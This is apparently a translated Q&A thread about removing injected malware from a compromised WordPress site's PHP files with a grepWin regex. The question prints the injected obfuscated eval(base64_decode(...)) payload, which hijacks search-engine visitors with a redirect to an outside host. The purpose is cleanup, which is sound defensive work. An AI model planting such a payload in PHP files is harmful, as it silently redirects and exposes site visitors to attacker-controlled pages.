php - grep を使用して Wordpress の php ファイルから悪意のあるコードを削除する

Question

基本的に、更新されていない WordPress サイトが侵害されました。ファイルをダウンロードし、感染者を特定し、パターンを見つけました。

ファイルの先頭に次のようなコードがあります

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));

または、別のキャラクターに近いもの。

grepWin を使用して、数百の PHP ファイルからコードを削除しています。で始まり、eval(base64_decode(その後に長いテキスト行が続き、で終わるコードを削除する正規表現コードを使用できます"));。一部のファイルでは、その間のテキストが異なります。

[注 - 上記で使用したコードは短縮されています。疑わしいコードでウイルス プロテクタをトリガーしたくありません]

Answer 1

マッチングの正規表現は次のようになります。

/eval\(base64_decode\("[^\)]+\)\)\;/

ただし、WinGrep では、この文字列を使用します。Windows grep は、周囲のスラッシュが好きではありません。

eval\(base64_decode\("[^\)]+\)\)\;

次に、空の文字列に置き換えます。通常、Grep はこの置換機能を提供しませんが、グローバルな置換機能を提供する WinGrep を使用しているとのことでした。